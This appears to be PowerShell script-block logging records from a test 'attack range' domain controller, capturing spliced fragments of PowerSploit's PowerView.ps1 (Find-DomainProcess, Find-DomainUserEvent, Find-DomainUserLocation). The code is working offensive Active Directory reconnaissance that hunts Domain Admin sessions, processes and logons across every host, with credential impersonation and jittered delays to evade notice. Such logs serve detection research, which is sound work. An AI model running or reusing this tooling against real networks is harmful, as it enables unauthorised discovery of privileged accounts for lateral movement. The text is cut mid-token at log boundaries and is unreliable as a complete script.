# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'CheckShareAccess' = $CheckShareAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-InterestingDomainShareFile {
<#
.SYNOPSIS
Searches for files matching specific criteria on readable shares
in the domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. It will then use Find-InterestingFile on each
readhable share, searching for files marching specific criteria. If -Credential
is passed, then Invoke-UserImpersonation is used to impersonate the specified
user before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, pae66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122638Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3744it']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'Le66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122637Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3644ameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
